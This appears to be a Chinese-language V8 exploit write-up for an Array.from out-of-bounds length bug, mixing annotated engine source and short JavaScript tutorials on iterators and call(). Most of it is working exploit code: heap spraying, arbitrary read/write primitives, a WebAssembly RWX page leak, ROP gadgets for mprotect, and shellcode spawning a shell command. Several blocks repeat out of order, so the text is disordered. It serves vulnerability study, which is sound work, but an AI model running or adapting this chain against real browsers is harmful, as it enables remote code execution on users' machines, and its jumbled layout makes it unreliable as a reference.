TNode<Smi> length_smi = CAST(length); TNode<Smi> old_length = LoadFastJSArrayLength(fast_array); ...略 // 3) If the created array already has a length greater than required, // then use the runtime to set the property as that will insert holes // into the excess elements and/or shrink the backing store. GotoIf(SmiLessThan(length_smi, old_length), &runtime); StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset, length_smi); //将length_smi赋值给JSArray的Length
TNode<Object> this_arg = args.GetOptionalArgumentValue(2); //获取Object的参数 TNode<Object> items = args.GetOptionalArgumentValue(0); //获取我们的ArrayLike // The spec doesn't require ToObject to be called directly on the iterable // branch, but it's part of GetMethod that is in the spec. TNode<JSReceiver> array_like = ToObject(context, items); //将ArrayLike转化为对象
// Construct the output array with empty length. array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield // one. IteratorRecord iterator_record = iterator_assembler.GetIterator(context, items, iterator_method);
Goto(&loop); //进入迭代循环,循环到迭代器运行结束(这个时候结合我们poc里的迭代器,理解漏洞) BIND(&loop); { // Loop while iterator is not done. TNode<Object> next = CAST(iterator_assembler.IteratorStep( context, iterator_record, &loop_done, fast_iterator_result_map)); TVARIABLE(Object, value, CAST(iterator_assembler.IteratorValue( context, next, fast_iterator_result_map))); //获取迭代器返回的值
// If a map_function is supplied then call it (using this_arg as // receiver), on the value returned from the iterator. Exceptions are // caught so the iterator can be closed. { Label next(this); GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function)); Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function, this_arg, value.value(), index.value()); GotoIfException(v, &on_exception, &var_exception); value = CAST(v); Goto(&next); BIND(&next); }
// Store the result in the output object (catching any exceptions so the // iterator can be closed). Node* define_status = CallRuntime(Runtime::kCreateDataProperty, context, array.value(), index.value(), value.value()); GotoIfException(define_status, &on_exception, &var_exception); index = NumberInc(index.value()); //获取index的值
// The spec requires that we throw an exception if index reaches 2^53-1, // but an empty loop would take >100 days to do this many iterations. To // actually run for that long would require an iterator that never set // done to true and a target array which somehow never ran out of memory, // e.g. a proxy that discarded the values. Ignoring this case just means // we would repeatedly call CreateDataProperty with index = 2^53. CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) { BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(), NumberConstant(kMaxSafeInteger), ok, not_ok); }); Goto(&loop); }
BIND(&on_exception); { // Close the iterator, rethrowing either the passed exception or // exceptions thrown during the close. iterator_assembler.IteratorCloseOnException(context, iterator_record, &var_exception); } }
// Since there's no iterator, items cannot be a Fast JS Array. BIND(¬_iterable); { CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));
// Treat array_like as an array and try to get its length. length = ToLength_Inline( context, GetProperty(context, array_like, factory()->length_string()));
// Construct an array using the receiver as constructor with the same length // as the input array. array = ConstructArrayLike(context, args.GetReceiver(), length.value());
// Loop from 0 to length-1. { Label loop(this, &index); Goto(&loop); BIND(&loop); TVARIABLE(Object, value);
value = GetProperty(context, array_like, index.value());
// If a map_function is supplied then call it (using this_arg as // receiver), on the value retrieved from the array. { Label next(this); GotoIf(IsUndefined(map_function), &next);
// Store the result in the output object. CallRuntime(Runtime::kCreateDataProperty, context, array.value(), index.value(), value.value()); index = NumberInc(index.value()); BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(), length.value(), &loop, &finished); } }
BIND(&finished); //finished入口
// Finally set the length on the output and return it. GenerateSetLength(context, array.value(), length.value()); //调用我们的漏洞函数,将length输入 args.PopAndReturn(array.value()); }
//ROP let pop_rdi=0x21102+libc_base; let pop_rsi=0x202e8+libc_base; let pop_rdx=0x01b92+libc_base; let retn=0xe9bbb+libc_base; let mprotect=0x100eb0+libc_base; let rop=[ pop_rdi, parseInt(shellcode_addr/0x1000)*0x1000, pop_rsi, 1024, pop_rdx, 7, mprotect, shellcode_addr ]
//GET STACK_ADDR let environ_addr=libc_base+0x3c5f98; let stack_addr=wr.read(environ_addr); console.log("[*]stack address "+hex(stack_addr));
var wasmCode = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); console.log(wasmInstance.exports.main());
var wasmCode = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); let f=wasmInstance.exports.main;
%DebugPrint(f); let asm_addr=wr.leak_obj(f); console.log("[*]address of asm = "+hex(asm_addr)); let sharedInfo =wr.read(asm_addr+0x18)-1; let functionData=wr.read(sharedInfo+0x8)-1; let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000); console.log("functionData addresss ="+hex(functionData)); console.log("[*] RWX address ="+hex(instanceAddr));
let obj={ 0:'a', 1:'b', 2:'c', length:3, [Symbol.iterator]:function(){ //迭代器实现 let index=0; let next=()=>{ //迭代器必须包含一个next函数 return{ value:this[index], //输出 done:this.length==++index //判断退出条件 } } return {next} } }; console.log(obj.length); // 3 console.log([...obj]); // a,b for(let p of obj) { console.log(p); //a b }
call()
call方法在js对象中可以用修改this对象,让我们写一个小实验。
Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14
var name='migraine1',age=18; var obj={ name:'migraine2', objAge:this.age, myFun:function(){ console.log(this.name+" age "+this.age); } } var db={ name:'migraine3', age:81 } obj.myFun(); //migraine2 age undefined obj.myFun.call(db); //migraine3 age 81
var obj={ name:'migraine2', myFun:function(age){ //带参的function console.log(this.name+" age "+age); } } var db={ name:'migraine3' } obj.myFun.call(db,'18'); //migraine3 age 18
let oobArray = [1.1]; //float let arrays=[]; let objs=[]; //for leak let maxSize = 1028 * 8; //8224 Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( { counter : 0, next() { let result = 1.1; this.counter++; if (this.counter > maxSize) { oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer for(let i=0;i<100;i++) { let array=newArrayBuffer(0x512); let obj={'a':0x1234,'b':0x5678}; arrays.push(array); objs.push(obj); //%DebugPrint(array); } return {done: true}; } else { return {value: result, done: false}; } } } ) });
let backing_store; let kbitfield; let buf_index; for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
//find ArrayBuffer in the shot for(let i=0;i<maxSize;i++) { let val=ct.f2i(oobArray[i]); if(val===0x51200000000) { backing_store=i+1; kbitfield=backing_store+1; console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]"); oobArray[i]=ct.i2f(0xbeaf00000000); break; } }
for(let i=0;i<100;i++) { //console.log(arrays[i].bytelength); if(arrays[i].byteLength===0xbeaf){ console.log("[*]find target ArrayBuffer number ["+i+"]"); buf_index=i; let tmp=newFloat64Array(arrays[buf_index],0,0x10); tmp[0]=ct.i2f(0xdeadbeef); break; } }
let obj_index; let obj_offset; //find Objects
for(let i=0;i<maxSize;i++) { let val=ct.f2i(oobArray[i]); if(val===0x123400000000) { obj_offset=i; console.log("[*]find target objecets in oobArray number ["+i+"]"); oobArray[i]=ct.i2f(0x123500000000); break; } }
//PUSH SHELLCODE let shellcode=newUint8Array(4096); let shellcode_addr=wr.leak_obj(shellcode);
ptr=wr.read(shellcode_addr+0x18)-1; shellcode_addr=wr.read(ptr+0x20); console.log(hex(shellcode_addr)); let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]; for(let i=0;i<sc.length;i++){ shellcode[i]=sc[i]; }
//ROP let pop_rdi=0x21102+libc_base; let pop_rsi=0x202e8+libc_base; let pop_rdx=0x01b92+libc_base; let retn=0xe9bbb+libc_base; let mprotect=0x100eb0+libc_base; let rop=[ pop_rdi, parseInt(shellcode_addr/0x1000)*0x1000, pop_rsi, 1024, pop_rdx, 7, mprotect, shellcode_addr ]
//GET STACK_ADDR let environ_addr=libc_base+0x3c5f98; let stack_addr=wr.read(environ_addr); console.log("[*]stack address "+hex(stack_addr));
let oobArray = [1.1]; //float let arrays=[]; let objs=[]; //for leak let maxSize = 1028 * 8; //8224 Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( { counter : 0, next() { let result = 1.1; this.counter++; if (this.counter > maxSize) { oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer for(let i=0;i<100;i++) { let array=newArrayBuffer(0x512); let obj={'a':0x1234,'b':0x5678}; arrays.push(array); objs.push(obj); //%DebugPrint(array); } return {done: true}; } else { return {value: result, done: false}; } } } ) });
let backing_store; let kbitfield; let buf_index; for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
//find ArrayBuffer in the shot for(let i=0;i<maxSize;i++) { let val=ct.f2i(oobArray[i]); if(val===0x51200000000) { backing_store=i+1; kbitfield=backing_store+1; console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]"); oobArray[i]=ct.i2f(0xbeaf00000000); break; } }
for(let i=0;i<100;i++) { //console.log(arrays[i].bytelength); if(arrays[i].byteLength===0xbeaf){ console.log("[*]find target ArrayBuffer number ["+i+"]"); buf_index=i; let tmp=newFloat64Array(arrays[buf_index],0,0x10); tmp[0]=ct.i2f(0xdeadbeef); break; } }
let obj_index; let obj_offset; //find Objects
for(let i=0;i<maxSize;i++) { let val=ct.f2i(oobArray[i]); if(val===0x123400000000) { obj_offset=i; console.log("[*]find target objecets in oobArray number ["+i+"]"); oobArray[i]=ct.i2f(0x123500000000); break; } }
var wasmCode = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); let f=wasmInstance.exports.main;
%DebugPrint(f); let asm_addr=wr.leak_obj(f); console.log("[*]address of asm = "+hex(asm_addr)); let sharedInfo =wr.read(asm_addr+0x18)-1; let functionData=wr.read(sharedInfo+0x8)-1; let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000); console.log("functionData addresss ="+hex(functionData)); console.log("[*] RWX address ="+hex(instanceAddr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]; for(let i=0;i<sc.length;i++){ wr.write(instanceAddr+i,sc[i]); } f();